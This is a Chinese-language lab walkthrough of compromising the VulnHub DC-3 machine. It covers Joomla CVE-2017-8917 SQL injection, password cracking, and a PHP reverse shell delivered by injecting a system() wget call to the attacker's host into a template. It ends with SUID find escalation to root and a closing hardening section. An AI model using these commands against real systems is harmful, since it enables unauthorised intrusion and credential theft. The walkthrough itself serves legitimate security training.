1. 项目概述与核心目标
最近在整理渗透测试的学习笔记,翻到了之前做过的DC-3靶机。这个靶机在VulnHub上算是比较经典的一个,它基于Joomla CMS构建,难度适中,非常适合用来练习从信息收集到最终提权的完整渗透流程。很多朋友在入门渗透测试时,面对一个完整的靶机常常感觉无从下手,或者卡在某一个环节。今天我就以DC-3为例,把整个实战入侵的过程掰开揉碎了讲一遍,从发现目标到拿到最高权限,每一步的思路、用到的工具、踩过的坑都会详细说明。无论你是刚接触Kali Linux的新手,还是想巩固一下流程的老手,这篇实战记录都能给你提供一个清晰的参考路径。
DC-3靶机的核心目标很明确:拿到靶机的root权限,并找到最终的flag。整个过程会涉及到Web应用渗透、中间件漏洞利用、操作系统提权等多个层面,是一个综合性的练习。我会尽量模拟一个真实但受限的环境(比如我们只知道靶机的IP段),从最基础的信息收集开始,一步步向内网渗透。你会发现,渗透测试远不止是运行几个自动化工具,更重要的是思考、分析和验证。
2. 环境搭建与初始信息收集
2.1 靶机与攻击机环境准备
在开始任何实战之前,一个稳定、隔离的实验室环境是首要条件。我使用的是VMware Workstation,你也可以用VirtualBox。
攻击机 :毫无疑问是Kali Linux。我使用的是滚动更新版本,确保所有工具都是最新的。建议给Kali分配至少2核CPU、4GB内存和40GB硬盘空间,运行起来会更流畅。网络连接模式我选择的是“NAT模式”或“仅主机模式”,这两种模式都能让Kali和靶机处于同一个虚拟网络内,方便互相访问,同时又与我的物理主机网络隔离,安全无忧。
靶机 :从VulnHub官网下载DC-3的OVA文件,直接导入到虚拟机中即可。导入后,将靶机的网络适配器设置为与Kali同一模式(比如都是NAT网络)。一个关键步骤是,将靶机的网络连接设置为“桥接模式”有时会导致IP获取复杂,在简单的单机实验环境中,NAT或仅主机模式更易于管理。启动靶机,通常这类靶机会自动获取IP地址。
注意:首次启动VulnHub靶机时,可能会遇到键盘布局为UK(英国)的情况,在登录界面需要输入
root/toor时,你键盘上的引号”键位可能不对,可以尝试按@键或数字2键。如果不行,在虚拟机设置里临时将键盘布局改为US(美国)即可。
2.2 网络发现与目标定位
靶机启动后,我们并不知道它的IP地址。这就是渗透测试中经典的“黑盒”场景起点。
第一步:确定网络范围
在Kali终端中,输入
ip addr
或
ifconfig
命令,查看Kali自身的IP地址。假设我的Kali IP是
192.168.111.128
,那么我的局域网网段很大概率就是
192.168.111.0/24
。
第二步:使用Netdiscover进行ARP扫描 Netdiscover是一个主动/被动的ARP侦查工具,在本地网络中发现存活主机非常有效。
sudo netdiscover -r 192.168.111.0/24
运行后,它会发送ARP请求并监听回复。很快,除了你自己的Kali和网关,你会看到另一个活跃的IP地址,例如
192.168.111.130
,这很可能就是我们的目标DC-3靶机。记下这个IP。
第三步:使用Nmap进行初步端口扫描 确认IP后,用Nmap进行快速扫描,看看目标开放了哪些门户。
nmap -sS -sV -O 192.168.111.130
参数解释:
-
-sS: TCP SYN扫描,一种半开放扫描,速度快且相对隐蔽。 -
-sV: 探测开放端口上运行的服务及其版本信息。 -
-O: 尝试识别目标操作系统。
扫描结果通常会显示类似如下信息:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
结果显示,靶机只开放了80端口,运行着Apache 2.4.18。这立刻将我们的攻击面聚焦到了Web应用上。操作系统识别可能提示是Linux(Ubuntu)。至此,信息收集的第一阶段完成:我们找到了目标(192.168.111.130),并知道它是一个运行着Apache的Web服务器。
3. Web应用渗透与漏洞利用
3.1 网站侦察与目录枚举
既然80端口是唯一的入口,我们的下一步就是深入了解这个网站。
手动浏览
:首先,打开浏览器,访问
http://192.168.111.130
。页面加载出来,很明显是一个Joomla内容管理系统(CMS)搭建的网站。页面上可能有一些文章,但前台功能看起来都很正常。作为攻击者,我们更关心后台登录入口、配置文件、备份文件等。
使用Gobuster进行目录爆破 :手动寻找效率低,我们需要工具辅助。Gobuster是一个用Go编写的目录/子域名爆破工具,速度很快。
gobuster dir -u http://192.168.111.130 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak
参数解释:
-
dir: 指定模式为目录爆破。 -
-u: 指定目标URL。 -
-w: 指定字典文件,这里使用Kali自带的common.txt。 -
-x: 指定要尝试的文件扩展名。php是动态脚本,txt和html是常见文本,bak是可能的备份文件。
扫描结果中,你可能会看到一些关键目录:
/administrator (Status: 301)
/components (Status: 301)
/templates (Status: 301)
...
其中,
/administrator
是Joomla后台管理登录页面的典型路径。访问
http://192.168.111.130/administrator
,果然出现了Joomla的后台登录界面。这是我们一个潜在的突破口。
使用Wappalyzer或WhatWeb进行技术栈识别
:浏览器安装Wappalyzer插件,或者命令行使用
whatweb http://192.168.111.130
,可以更精确地识别技术细节,比如Joomla的版本号。这对于寻找已知漏洞至关重要。通过查看页面源码中的
meta generator
标签或者某些JS/CSS文件的路径特征,我们可以确定这个Joomla的版本。假设我们确定它是Joomla 3.7.x。
3.2 漏洞研究与利用(SQL注入)
已知Joomla 3.7.0 - 3.7.3版本存在一个严重的SQL注入漏洞(CVE-2017-8917)。这个漏洞存在于
com_fields
组件中,允许未授权攻击者通过构造特定的HTTP请求,执行SQL注入,从而获取数据库信息,甚至管理员密码哈希值。
利用Searchsploit查找利用代码
:Kali内置了
searchsploit
工具,可以离线搜索Exploit-DB中的漏洞利用代码。
searchsploit joomla 3.7
这会列出相关漏洞。我们找到针对CVE-2017-8917的利用脚本,通常是一个Python文件。查看其路径并复制到当前目录:
searchsploit -m 42033
42033
是漏洞编号。查看这个Python脚本,发现它的功能是通过注入点提取Joomla的用户表(
#__users
)中的数据,特别是用户名和密码哈希。
运行利用脚本 :
python2 42033.py http://192.168.111.130
注意:很多老的漏洞利用脚本是基于Python2的,如果系统默认是Python3,可能需要使用
python2命令或修改脚本适配。如果报错缺少requests库,使用pip2 install requests安装。
脚本运行成功后,会输出类似下面的信息:
[i] Getting session token from /index.php?option=com_fields...
...
[+] Found user: admin
[+] Hash: 2d0d5f6c7e5c7e5c7e5c7e5c7e5c7e5c
我们成功拿到了管理员用户
admin
的密码哈希值。这个哈希值看起来像是MD5加密的(32位十六进制字符串)。在Joomla中,密码格式通常是
MD5(密码:盐值)
,但这里我们拿到的是简单的MD5哈希,说明可能使用了较旧的或特定的哈希方式。
3.3 密码破解与后台登录
拿到哈希值后,我们需要破解它得到明文密码,才能登录后台。
使用John the Ripper破解
:将哈希值保存到一个文件中,比如
hash.txt
,内容为
admin:2d0d5f6c7e5c7e5c7e5c7e5c7e5c7e5c
。然后使用John进行破解。
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
rockyou.txt
是一个庞大的常用密码字典。如果密码强度不高,John很快就能破解出来。假设破解结果是
snoopy
。
登录后台
:使用用户名
admin
和密码
snoopy
,成功登录Joomla后台管理界面(
http://192.168.111.130/administrator
)。至此,我们获得了Web应用层面的管理员权限。
4. 获取Shell与权限提升
4.1 通过模板编辑上传Webshell
进入后台后,我们的目标是获得一个反向Shell,即在靶机上建立一个连接,让它主动连接到我们Kali的监听端口,从而让我们获得一个命令行交互界面。
Joomla后台提供了编辑模板文件的功能,这为我们上传Webshell提供了便利。
步骤一:定位可写目录
在后台,进入“系统”->“全局配置”->“服务器”选项卡。查看“路径”设置,找到“临时目录”的路径,例如
/var/www/html/tmp
。这个目录通常具有Web服务器用户(如
www-data
)的写权限。
步骤二:制作PHP反向Shell
Kali中自带了许多Webshell脚本。我们使用经典的
php-reverse-shell.php
。
cp /usr/share/webshells/php/php-reverse-shell.php .
编辑这个文件,修改其中的连接参数:
$ip = '192.168.111.128'; // 你的Kali IP地址
$port = 4444; // 你准备监听的端口
步骤三:通过模板安装器上传 在Joomla后台,进入“扩展”->“管理”->“安装”。这里有一个“从目录安装”的选项,它允许你指定服务器上的一个目录路径来安装扩展。我们可以利用这个功能。
-
将修改好的
php-reverse-shell.php文件改名为shell.php,然后压缩成ZIP文件,比如shell.zip。注意,ZIP文件内直接是shell.php,不要有外层文件夹。 -
在Kali上,用Python快速开启一个HTTP服务,以便靶机下载。
python3 -m http.server 8080 -
在靶机服务器上,我们可以通过编辑模板文件来执行系统命令。进入“扩展”->“模板”->“模板”,选择正在使用的模板(如
protostar),点击“编辑主页面文件”。找一个合适的PHP文件,比如index.php,在末尾添加一行:
保存后,访问网站首页,这条命令就会执行,将我们的ZIP文件下载到<?php system(\"cd /tmp && wget http://192.168.111.128:8080/shell.zip -O shell.zip && unzip shell.zip\"); ?>/tmp目录并解压,得到shell.php。
步骤四:启动监听并触发Shell 在Kali上,使用Netcat监听我们之前设定的端口:
nc -nvlp 4444
然后,访问靶机上的Webshell文件:
http://192.168.111.130/tmp/shell.php
。如果一切正常,你会看到Netcat终端成功接收到连接,并出现了一个命令行提示符,通常是
www-data
用户的权限。
connect to [192.168.111.128] from (UNKNOWN) [192.168.111.130] 3456
Linux dc-3 4.4.0-75-generic #96-Ubuntu SMP Thu Apr 20 09:56:33 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
www-data@dc-3:/var/www/html$
我们成功获得了
www-data
用户的低权限Shell。
4.2 系统内部信息收集与提权
现在我们在靶机内部了,但权限是
www-data
,目标是要拿到
root
。
第一步:基础信息收集 在获得的Shell中,执行一些命令了解系统:
whoami
id
uname -a
cat /etc/issue
sudo -l # 查看当前用户能以sudo方式执行哪些命令
sudo -l
命令要求输入密码,我们不知道
www-data
的密码,这一步通常行不通。
第二步:查找具有SUID权限的可执行文件 SUID(Set User ID)是一种特殊的文件权限,它允许用户以文件所有者的权限来执行该文件。如果某个属于root且设置了SUID的程序存在漏洞,就可能成为提权的跳板。
find / -perm -u=s -type f 2>/dev/null
这条命令会在整个文件系统(
/
)中查找具有SUID权限(
-perm -u=s
)的普通文件(
-type f
),并将错误信息(
2>/dev/null
)丢弃。在结果中,我们需要寻找那些不常见的、可能被利用的二进制文件。常见的如
/bin/passwd
,
/bin/su
是正常的。
第三步:利用特定SUID程序提权(示例)
在DC-3靶机中,一种常见的提权方法是利用某个文本编辑器(如
vim
、
nano
)或
find
命令的SUID位。假设我们发现
/usr/bin/find
具有SUID权限,并且属于root。
ls -la /usr/bin/find
输出显示:
-rwsr-xr-x 1 root root ...
,开头的
-rws
中的
s
就代表SUID。
我们可以利用
find
命令的
-exec
参数来执行命令,并且由于SUID,这些命令将以root权限运行。
/usr/bin/find . -exec /bin/bash -p \\;
或者更简单:
/usr/bin/find / -name test -exec /bin/sh \\;
执行后,我们就会获得一个root权限的shell。提示符可能会变成
#
。
whoami
# root
第四步:寻找Flag
获得root权限后,最后的任务就是找到flag。通常flag会放在
/root
目录或
/home
下的某个用户目录中。
cd /root
ls -la
cat flag.txt
或者
find / -name \"*flag*\" -o -name \"*.txt\" 2>/dev/null | grep -v proc | head -20
最终,在
/root
目录下,我们找到了
flag.txt
,用
cat
命令查看其内容,即完成了整个渗透测试。
5. 渗透流程复盘与深度思考
5.1 攻击链完整梳理
回顾整个DC-3的渗透过程,我们可以清晰地画出一条攻击链:
- 网络发现 :使用Netdiscover和Nmap定位目标并识别开放端口(80/http)。
- Web侦察 :通过目录枚举发现Joomla后台路径,通过指纹识别确定Joomla版本(3.7.x)。
- 漏洞利用 :利用该版本Joomla的已知SQL注入漏洞(CVE-2017-8917),未授权获取管理员密码哈希。
- 密码破解 :使用John the Ripper和字典破解MD5哈希,获得明文密码。
- 后台登录 :使用破解的凭证登录Joomla后台,获得Web应用管理权限。
-
文件上传
:利用后台模板编辑或扩展安装功能,将PHP反向Shell上传至服务器可写目录(如
/tmp)。 -
获取初始立足点
:在攻击机设置Netcat监听,通过浏览器访问Webshell文件,获得一个
www-data权限的反向Shell。 -
权限提升
:在目标系统内部,通过查找具有SUID权限的可执行文件(如
find),并利用其特性执行命令,成功将权限从www-data提升至root。 - 目标达成 :以root权限寻找并读取最终的flag文件。
这条攻击链环环相扣,每一步都为下一步奠定了基础。它完美地展示了从外部侦察到内部提权的标准渗透测试流程。
5.2 关键环节的技术细节与避坑指南
关于SQL注入利用
:在使用公开的漏洞利用脚本时,经常会遇到环境依赖问题。例如,脚本可能是Python2编写,而你的Kali默认是Python3。除了使用
python2
命令,另一种方法是修改脚本头部的
#!/usr/bin/python
为
#!/usr/bin/python2
,或者使用
2to3
工具尝试转换(但可能引入新错误)。最稳妥的方式是准备一个Python2的虚拟环境。
关于Webshell上传
:直接通过Joomla后台上传PHP文件可能会被安全扩展或配置拦截。通过“模板编辑”插入系统命令,让服务器自己下载并解压,是一种有效的绕过方式。此外,要确保你的反向Shell代码中没有使用短标签
<?
,因为目标服务器的
php.ini
可能关闭了短标签支持,应使用完整的
<?php
。
关于SUID提权
:
find
命令提权是经典方法,但并非所有
find
都可用。关键在于它是否有SUID位且属于root。其他常见的SUID提权点包括:
-
vim/vi/nano
: 如果这些编辑器有SUID,可以在编辑文件时通过
:!bash或^R^X等方式逃逸到shell。 -
bash
: 极少数情况下,
/bin/bash本身有SUID,那么直接运行bash -p即可(-p参数用于保留特权)。 -
其他不常见程序
:如
awk,perl,python,cp,mv等,如果配置了SUID,都可以通过执行系统命令来提权。思路是:程序 -c ‘执行命令’或利用程序本身的执行功能。
信息收集的深度
:在获得
www-data
的shell后,不要急于提权。应彻底收集信息:
-
查看
/etc/passwd和/etc/shadow(如果可读),了解所有用户。 -
查看
/home目录下各用户的家目录,寻找敏感文件、备份、SSH密钥等。 -
检查计划任务
crontab -l(查看当前用户的)和ls -la /etc/cron*,看是否有以root权限运行的脚本,且该脚本我们是否有写权限,这是一种“定时任务提权”的方式。 -
检查网络连接
netstat -tulpn,看是否有内部其他服务,为横向移动做准备。 -
检查环境变量
env,看是否有路径包含可写目录,这可能引发“路径劫持提权”。
6. 防御视角与安全加固建议
站在防守方的角度,从这次渗透中我们可以汲取很多教训,来加固一个真实的Joomla网站或Linux服务器。
1. 及时更新与补丁管理 :这是最根本的一条。DC-3的入口漏洞CVE-2017-8917在当年早已有补丁。必须建立严格的软件更新机制,尤其是CMS核心、组件、插件和服务器操作系统。启用自动安全更新或定期手动检查更新。
2. 最小权限原则 :
-
Web服务器进程
:确保运行Apache/Nginx的用户(如
www-data)权限被严格限制。它不应该有对Web根目录之外文件的写权限,更不应该有执行敏感系统命令的能力。 -
数据库用户
:Joomla连接数据库的用户应只拥有其所需数据库的最小权限(SELECT, INSERT, UPDATE, DELETE),绝对不要使用
root或具有FILE_PRIV等权限的账户。 -
SUID/SGID文件
:定期审计系统中的SUID/SGID文件(
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null),移除非必要的特权设置。比如,find,vim,nano等工具绝不应该设置SUID位。
3. 强化身份验证 :
-
后台路径
:如果条件允许,可以修改Joomla后台的默认路径(
/administrator),增加攻击者发现的难度。 - 强密码策略 :强制使用长且复杂的密码,并定期更换。管理员密码绝不使用弱口令或常见密码。启用双因素认证(2FA)插件。
- 密码哈希 :确保使用强密码哈希算法(如bcrypt、Argon2),Joomla后期版本已支持。避免使用单纯的MD5。
4. 输入验证与输出编码 :虽然CMS核心的漏洞需要官方修复,但对于自定义的组件、模块和模板,开发者必须对所有用户输入进行严格的验证和过滤,对输出到页面的内容进行编码,从根本上防止SQL注入、XSS等漏洞。
5. 文件上传限制 :
-
在Web服务器配置中,限制可执行脚本的上传目录,并将该目录的解析权限关闭(例如,在Apache的
.htaccess中添加php_flag engine off)。 - 严格检查上传文件的类型、扩展名和内容,使用白名单机制。
- 避免Web服务器用户对任何目录拥有不必要的写权限。
6. 网络层防护 :
-
使用防火墙(如
iptables或ufw)限制入站端口,只开放必要的服务(如80, 443)。关闭SSH的密码登录,改用密钥认证。 - 将网站部署在反向代理(如Nginx)之后,可以增加一层缓冲,并隐藏后端服务器的真实信息。
- 考虑使用Web应用防火墙(WAF),它可以帮助拦截常见的攻击流量,如SQL注入、目录遍历等。
7. 日志与监控
:开启并定期审查Web服务器日志(Apache的
access.log
和
error.log
)、系统日志(
/var/log/auth.log
,
syslog
)。监控异常访问模式,例如对
/administrator
路径的大量失败登录尝试、对不存在的PHP文件的访问等。及时的告警可以帮助在攻击初期就发现并阻断。
渗透测试的本质是模拟攻击者的思维,而安全防御则需要构建纵深防御体系。通过DC-3这样一个靶机的实战,我们不仅练习了攻击技术,更重要的是理解了每一个脆弱点对应的防御措施。真正的安全不是依靠单一手段,而是通过持续的管理、监控和一系列最佳实践共同构建的结果。
9210

被折叠的 条评论
为什么被折叠?



